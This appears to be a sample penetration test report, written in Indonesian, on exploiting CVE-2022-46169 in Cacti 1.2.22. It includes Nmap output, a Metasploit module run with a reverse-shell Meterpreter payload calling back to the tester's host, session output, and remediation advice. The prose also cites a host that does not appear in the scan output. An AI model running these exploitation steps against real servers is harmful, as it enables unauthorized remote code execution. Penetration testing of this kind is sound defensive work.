



UNIVERSITAS GADJAH MADA



Sample Penetration Test Report

Example Company

Company: Customer Name
Date: 28 June 2024
Version 1.0



Pendahuluan

Laporan ini disusun sebagai hasil pengujian penetrasi terhadap CVE-2022-46169, sebuah kerentanan yang ditemukan dalam perangkat lunak Cacti. Kerentanan ini memungkinkan serangan tanpa autentikasi untuk melakukan eksekusi perintah sistem secara sewenang-wenang pada server yang menjalankan Cacti. Dalam laporan ini, kami akan memberikan detail mengenai temuan kerentanan CVE-2022-46169 yang kami identifikasi selama penilaian. Kami akan menjelaskan dengan rinci potensi dampak dan risiko yang terkait dengan kerentanan ini, serta memberikan rekomendasi tindakan untuk memperbaiki kerentanan tersebut dan meningkatkan keamanan sistem secara menyeluruh.

Ruang Lingkup

Evaluasi keamanan sistem informasi pada Cacti dilakukan di lingkungan produksi dengan melakukan upaya peretasan berdasarkan kerentanan yang ditemukan. Host dan alamat IP yang diuji adalah sebagai berikut:

- - Host: Sistem Utama, IP: 10.33.102.224
- - Host: Target, IP: 10.33.102.212
- - Host: Target, IP: 10.33.102.225
- - Host: Target, IP: 10.33.102.226

Metodologi

Metodologi yang digunakan dalam pengujian penetrasi ini terdiri dari beberapa tahap yang sistematis untuk memastikan pengujian yang menyeluruh dan efektif. Tahap-tahap ini meliputi information gathering, vulnerability scanning, vulnerability analysis, vulnerability exploitation, recommendation and reporting. Metodologi ini dirancang untuk mengidentifikasi dan mengatasi potensi celah keamanan dalam sistem secara menyeluruh.

Identifikasi Kerentanan

Pemindaian menggunakan Nmap pada alamat IP 10.33.102.212, 10.33.102.225, dan 10.33.102.226 dilakukan dengan perintah `nmap -sV -sC -Pn --script http-title -iL targets.txt -oN nmap_results.txt`. Perintah ini digunakan untuk memindai jaringan terhadap sejumlah alamat IP yang terdaftar dalam file `targets.txt`. Hasil pemindaian mencakup identifikasi versi perangkat lunak yang berjalan, eksekusi skrip otomatis untuk analisis keamanan, dan pengambilan judul halaman utama dari server web yang terdeteksi. Informasi hasil pemindaian akan disimpan dalam file `nmap_results.txt` untuk referensi dan analisis lebih lanjut.



```
# Nmap 7.80 scan initiated Fri Jun 28 09:33:38 2024 as: nmap -sV -sC -Pn --  
script http-title -iL targets.txt -oN nmap_results.txt  
Nmap scan report for 10.33.102.225  
Host is up (0.00068s latency).  
Not shown: 998 closed ports  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux;  
protocol 2.0)  
80/tcp    open  http     Apache httpd 2.4.54 ((Debian))  
|_http-server-header: Apache/2.4.54 (Debian)  
|_http-title: Login to Cacti  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Nmap scan report for 10.33.102.226  
Host is up (0.00073s latency).  
Not shown: 998 closed ports  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux;  
protocol 2.0)  
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))  
|_http-server-header: Apache/2.4.52 (Ubuntu)  
|_http-title: Login to Cacti  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at  
https://nmap.org/submit/ .  
# Nmap done at Fri Jun 28 09:33:45 2024 -- 2 IP addresses (2 hosts up)  
scanned in 7.87 seconds
```

Hasil pemindaian menunjukkan bahwa pada alamat IP 10.33.102.212:

- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.2p1 pada Ubuntu.
- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.54 pada Debian, judul halamannya adalah 'Login to Cacti'.
- Port 8086/tcp terbuka dengan layanan HTTP untuk InfluxDB versi 1.6.4 tanpa judul halaman.
- Sistem operasi yang terdeteksi adalah Linux.

Pada alamat IP 10.33.102.225:



- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.2p1 pada Ubuntu.
- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.54 pada Debian, judul halamannya adalah 'Login to Cacti'.
- Sistem operasi yang terdeteksi adalah Linux.

Pada alamat IP 10.33.102.226:

- Port 22/tcp terbuka dengan layanan SSH menggunakan OpenSSH versi 8.9p1 pada Ubuntu.
- Port 80/tcp terbuka dengan layanan HTTP menggunakan Apache HTTP Server versi 2.4.52 pada Ubuntu, judul halamannya adalah 'Login to Cacti'.
- Sistem operasi yang terdeteksi adalah Linux.

Informasi hasil pemindaian ini disimpan dalam file nmap_results.txt untuk referensi dan analisis lebih lanjut.

Vulnerability Scanning

Vulnerability scanning dilakukan menggunakan perangkat lunak Metasploit. Metasploit adalah open-source, platform pengujian penetrasi berbasis Ruby yang memungkinkan pengguna untuk menulis, menguji, dan mengeksekusi kode exploit. Sistem pengujian penetrasi atau pengujian pena bekerja dengan mensimulasikan serangan cyber untuk memeriksa kerentanan yang rentan. Dibawah ini menampilkan hasil dari pemindaian kerentanan yang ditemukan oleh Metasploit.

===== Vulnerability Scan Result for 10.33.102.225

Running the 'init' command for the database:

Existing database found, attempting to start it

Starting database at

/home/yoan/snap/metasploit-framework/common/.msf4/db...waiting for server to start.... stopped waiting

pg_ctl: could not start server

Examine the log output.

failed

This copy of metasploit-framework is more than two weeks old.

Consider running 'msfupdate' to update to the latest version.

[*] Using configured payload linux/x86/meterpreter/reverse_tcp

RHOSTS => 10.33.102.225

RPORT => 80



[*] 10.33.102.225:80 - The target appears to be vulnerable. The target is Cacti version 1.2.22

===== Vulnerability Scan Result for 10.33.102.226

Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at
/home/yoan/snap/metasploit-framework/common/.msf4/db...waiting for
server to start.... stopped waiting
pg_ctl: could not start server
Examine the log output.
failed
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
RHOSTS => 10.33.102.226
RPORT => 80
[*] 10.33.102.226:80 - The target is not exploitable. The target is Cacti
version 1.2.27

Metasploit melakukan pemindaian kerentanan pada target sistem dan berhasil mengidentifikasi bahwa alamat IP 10.33.102.212 dan 10.33.102.225, pada port 80, menjalankan aplikasi Cacti versi 1.2.22 yang rentan, dengan celah keamanan yang dapat dieksploitasi. Sementara itu, target dengan alamat IP 10.33.102.226 menjalankan aplikasi Cacti versi 1.2.27 yang tidak rentan terhadap eksploitasi yang sama seperti versi sebelumnya, mungkin karena telah diperbarui atau diperbaiki untuk menutup kerentanan yang ada pada versi 1.2.22.

Vulnerability Exploitation

Pada bagian ini, dilakukan beberapa serangan untuk menguji kerentanan yang telah diidentifikasi sebelumnya. Serangan pertama adalah eksploitasi kerentanan Command Injection pada aplikasi Cacti menggunakan Metasploit. Langkah ini dilakukan untuk memanfaatkan celah keamanan yang ditemukan dalam versi 1.2.22 dari Cacti, dengan tujuan memperoleh akses ilegal ke dalam sistem yang rentan. Metasploit berhasil mengeksploitasi kerentanan yang ada pada aplikasi Cacti versi 1.2.22 yang dijalankan pada alamat IP 10.33.102.212 dan 10.33.102.225 dengan menggunakan port 80. Dalam proses eksploitasi ini, Metasploit



menggunakan payload `linux/x86/meterpreter/reverse_tcp` untuk menciptakan koneksi TCP terbalik dari target ke alamat IP Metasploit (10.33.102.224) pada port 4444. Meskipun awalnya eksploitasi tidak menghasilkan sesi Meterpreter, setelah beberapa upaya tambahan termasuk bruteforce terhadap `host_id` dan `local_data_id`, Metasploit berhasil memperoleh akses.

Hasilnya, sesi Meterpreter berhasil dibuka, memberikan penyerang kontrol penuh terhadap sistem target. Melalui sesi ini, penyerang menggunakan perintah `ls -la` untuk menjelajahi isi direktori dari perspektif pengguna `www-data`. Informasi yang diperoleh dari hasil eksekusi perintah tersebut memungkinkan penyerang untuk memahami struktur file serta hak akses yang terkait dengan aplikasi Cacti yang disusupi.

10.33.102.212

10.33.102.225

```
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at
/home/yoan/snap/metasploit-framework/common/.msf4/db...waiting for
server to start.... stopped waiting
failed
[*] Processing exploit_cacti_resource.rc for ERB directives.
resource (exploit_cacti_resource.rc)> use
exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
resource (exploit_cacti_resource.rc)> set RHOSTS 10.33.102.225
RHOSTS => 10.33.102.225
resource (exploit_cacti_resource.rc)> set RPORT 80
RPORT => 80
resource (exploit_cacti_resource.rc)> set LHOST 10.33.102.224
LHOST => 10.33.102.224
resource (exploit_cacti_resource.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (exploit_cacti_resource.rc)> sleep 20
[*] Started reverse TCP handler on 10.33.102.224:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
```



```
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up
to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Meterpreter session 1 opened (10.33.102.224:4444 ->
10.33.102.225:48446) at 2024-06-28 09:37:23 +0700
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Meterpreter session 2 opened (10.33.102.224:4444 ->
10.33.102.225:48462) at 2024-06-28 09:37:23 +0700
[+] Found exploitable local_data_id 15 for host_id 1
[*] Sending stage (1017704 bytes) to 10.33.102.225
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
resource (exploit_cacti_resource.rc)> sessions -i
```

Active sessions

=====

Id	Name	Type	Information	Connection
1	meterpreter	x86/linu	www-data @ 172.24.0.3	10.33.102.224:4444 -> x 10.33.102.225:48446 (172.24.0.3)
2	meterpreter	x86/linu	www-data @ 172.24.0.3	10.33.102.224:4444 -> x 10.33.102.225:48462 (172.24.0.3)

```
resource (exploit_cacti_resource.rc)> sessions -c 'ls -la' -i 1
```

```
[*] Running 'ls -la' on meterpreter session 1 (172.24.0.3)
```

```
total 2792
```

```
drwxrwxrwx 1 www-data www-data 4096 Jun 3 07:28 .
```

```
drwxr-xr-x 1 root root 4096 Nov 15 2022 ..
```

```
-rw-rw-r-- 1 www-data www-data 577 Aug 14 2022 .mdl_style.rb
```

```
-rw-rw-r-- 1 www-data www-data 60 Aug 14 2022 .mdlrc
```

```
-rw----- 1 www-data www-data 1024 Jun 3 07:28 .rnd
```

```
-rw-rw-r-- 1 www-data www-data 254887 Aug 14 2022 CHANGELOG
```

```
-rw-rw-r-- 1 www-data www-data 15171 Aug 14 2022 LICENSE
```

```
-rw-rw-r-- 1 www-data www-data 11318 Aug 14 2022 README.md
```

```
-rw-rw-r-- 1 www-data www-data 4341 Aug 14 2022 about.php
```

```
-rw-rw-r-- 1 www-data www-data 63112 Aug 14 2022
```

```
aggregate_graphs.php
```



```
-rw-rw-r-- 1 www-data www-data 18586 Aug 14 2022 aggregate_items.php
-rw-rw-r-- 1 www-data www-data 25705 Aug 14 2022
aggregate_templates.php
-rw-rw-r-- 1 www-data www-data 14677 Aug 14 2022
auth_changepassword.php
-rw-rw-r-- 1 www-data www-data 15221 Aug 14 2022 auth_login.php
-rw-rw-r-- 1 www-data www-data 19044 Aug 14 2022 auth_profile.php
-rw-rw-r-- 1 www-data www-data 24203 Aug 14 2022
automation_devices.php
-rw-rw-r-- 1 www-data www-data 36742 Aug 14 2022
automation_graph_rules.php
-rw-rw-r-- 1 www-data www-data 42897 Aug 14 2022
automation_networks.php
-rw-rw-r-- 1 www-data www-data 31517 Aug 14 2022 automation_snmp.php
-rw-rw-r-- 1 www-data www-data 18773 Aug 14 2022
automation_templates.php
-rw-rw-r-- 1 www-data www-data 38723 Aug 14 2022
automation_tree_rules.php
-rwxrwxr-x 1 www-data www-data 2959 Aug 14 2022 boost_rrdupdate.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 cache
-rw-rw-r-- 1 www-data www-data 126187 Aug 14 2022 cacti.sql
-rwxrwxr-x 1 www-data www-data 8077 Aug 14 2022 cactid.php
-rw-rw-r-- 1 www-data www-data 29268 Aug 14 2022 cdef.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 cli
-rw-rw-r-- 1 www-data www-data 1934 Aug 14 2022 clog.php
-rw-rw-r-- 1 www-data www-data 1940 Aug 14 2022 clog_user.php
-rwxrwxr-x 1 www-data www-data 33597 Aug 14 2022 cmd.php
-rw-rw-r-- 1 www-data www-data 8843 Aug 14 2022 cmd_realtime.php
-rw-rw-r-- 1 www-data www-data 24350 Aug 14 2022 color.php
-rw-rw-r-- 1 www-data www-data 24889 Aug 14 2022 color_templates.php
-rw-rw-r-- 1 www-data www-data 13259 Aug 14 2022
color_templates_items.php
-rw-rw-r-- 1 www-data www-data 34558 Aug 14 2022 data_debug.php
-rw-rw-r-- 1 www-data www-data 35500 Aug 14 2022 data_input.php
-rw-rw-r-- 1 www-data www-data 49788 Aug 14 2022 data_queries.php
-rw-rw-r-- 1 www-data www-data 37433 Aug 14 2022
data_source_profiles.php
-rw-rw-r-- 1 www-data www-data 67358 Aug 14 2022 data_sources.php
-rw-rw-r-- 1 www-data www-data 47694 Aug 14 2022 data_templates.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 docs
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 formats
-rw-rw-r-- 1 www-data www-data 14319 Aug 14 2022 gprint_presets.php
```




```
-rw-rw-r-- 1 www-data www-data 22061 Aug 14 2022 graph.php
-rw-rw-r-- 1 www-data www-data 5764 Aug 14 2022 graph_image.php
-rw-rw-r-- 1 www-data www-data 9136 Aug 14 2022 graph_json.php
-rw-rw-r-- 1 www-data www-data 17525 Aug 14 2022 graph_realtime.php
-rw-rw-r-- 1 www-data www-data 41401 Aug 14 2022 graph_templates.php
-rw-rw-r-- 1 www-data www-data 9586 Aug 14 2022
graph_templates_inputs.php
-rw-rw-r-- 1 www-data www-data 30755 Aug 14 2022
graph_templates_items.php
-rw-rw-r-- 1 www-data www-data 32392 Aug 14 2022 graph_view.php
-rw-rw-r-- 1 www-data www-data 12466 Aug 14 2022 graph_xport.php
-rw-rw-r-- 1 www-data www-data 88406 Aug 14 2022 graphs.php
-rw-rw-r-- 1 www-data www-data 26995 Aug 14 2022 graphs_items.php
-rw-rw-r-- 1 www-data www-data 35613 Aug 14 2022 graphs_new.php
-rw-rw-r-- 1 www-data www-data 3727 Aug 14 2022 help.php
-rw-rw-r-- 1 www-data www-data 67581 Aug 14 2022 host.php
-rw-rw-r-- 1 www-data www-data 30239 Aug 14 2022 host_templates.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 images
drwxrwxr-x 1 www-data www-data 4096 Dec 12 2022 include
-rw-rw-r-- 1 www-data www-data 5721 Aug 14 2022 index.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 install
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 lib
-rw-rw-r-- 1 www-data www-data 3495 Aug 14 2022 link.php
-rw-rw-r-- 1 www-data www-data 21889 Aug 14 2022 links.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 locales
drwxrwxr-x 1 www-data www-data 4096 Jun 3 07:28 log
-rw-rw-r-- 1 www-data www-data 4666 Aug 14 2022 logout.php
-rw-rw-r-- 1 www-data www-data 38081 Aug 14 2022 managers.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 mibs
-rw-rw-r-- 1 www-data www-data 3410 Aug 14 2022
permission_denied.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 plugins
-rw-rw-r-- 1 www-data www-data 28268 Aug 14 2022 plugins.php
-rwxrwxr-x 1 www-data www-data 35920 Aug 14 2022 poller.php
-rwxrwxr-x 1 www-data www-data 38581 Aug 14 2022
poller_automation.php
-rwxrwxr-x 1 www-data www-data 35791 Aug 14 2022 poller_boost.php
-rwxrwxr-x 1 www-data www-data 7095 Aug 14 2022
poller_commands.php
-rwxrwxr-x 1 www-data www-data 11602 Aug 14 2022 poller_dsstats.php
-rwxrwxr-x 1 www-data www-data 20170 Aug 14 2022
poller_maintenance.php
```



```
-rwxrwxr-x 1 www-data www-data 9881 Aug 14 2022 poller_realtime.php
-rwxrwxr-x 1 www-data www-data 8830 Aug 14 2022 poller_recovery.php
-rwxrwxr-x 1 www-data www-data 5722 Aug 14 2022 poller_reports.php
-rwxrwxr-x 1 www-data www-data 8273 Aug 14 2022 poller_spikekill.php
-rw-rw-r-- 1 www-data www-data 39278 Aug 14 2022 pollers.php
-rw-rw-r-- 1 www-data www-data 14552 Aug 14 2022 remote_agent.php
-rw-rw-r-- 1 www-data www-data 5309 Aug 14 2022 reports_admin.php
-rw-rw-r-- 1 www-data www-data 5210 Aug 14 2022 reports_user.php
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 resource
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 rra
-rw-rw-r-- 1 www-data www-data 20183 Aug 14 2022 rrdcleaner.php
-rw-rw-r-- 1 www-data www-data 11907 Aug 14 2022 script_server.php
drwxrwxr-x 1 www-data www-data 4096 Jun 3 07:28 scripts
drwxrwxr-x 1 www-data www-data 4096 Aug 14 2022 service
-rw-rw-r-- 1 www-data www-data 1728 Aug 14 2022 service_check.php
-rw-rw-r-- 1 www-data www-data 43453 Aug 14 2022 settings.php
-rw-rw-r-- 1 www-data www-data 20567 Aug 14 2022 sites.php
-rw-rw-r-- 1 www-data www-data 2414 Aug 14 2022
snmpagent_mibcache.php
-rw-rw-r-- 1 www-data www-data 3688 Aug 14 2022
snmpagent_mibcachechild.php
-rwxrwxr-x 1 www-data www-data 5510 Aug 14 2022
snmpagent_persist.php
-rw-rw-r-- 1 www-data www-data 3987 Aug 14 2022 spikekill.php
-rw-rw-r-- 1 www-data www-data 6597 Aug 14 2022 templates_export.php
-rw-rw-r-- 1 www-data www-data 6263 Aug 14 2022 templates_import.php
-rw-rw-r-- 1 www-data www-data 64922 Aug 14 2022 tree.php
-rw-rw-r-- 1 www-data www-data 99936 Aug 14 2022 user_admin.php
-rw-rw-r-- 1 www-data www-data 29909 Aug 14 2022 user_domains.php
-rw-rw-r-- 1 www-data www-data 89318 Aug 14 2022
user_group_admin.php
-rw-rw-r-- 1 www-data www-data 104198 Aug 14 2022 utilities.php
-rw-rw-r-- 1 www-data www-data 28883 Aug 14 2022 vdef.php
resource (exploit_cacti_resource.rc)> sleep 10
resource (exploit_cacti_resource.rc)> exit
[*] You have active sessions open, to exit anyway type "exit -y"
resource (exploit_cacti_resource.rc)> exit -y
```

Recommendation

Untuk mengurangi risiko dari CVE-2022-46169, disarankan untuk mengambil langkah-langkah berikut:



- Memperbarui Cacti ke versi terbaru yang tersedia.
- Menerapkan aturan firewall yang membatasi akses ke layanan Cacti.
- Melakukan evaluasi keamanan secara berkala dan pengujian penetrasi untuk mengidentifikasi dan mengatasi kerentanan.
- Menerapkan kebijakan sandi yang kuat dan menghindari penggunaan kredensial default.
- Rutin memperbarui perangkat untuk mengatasi masalah keamanan.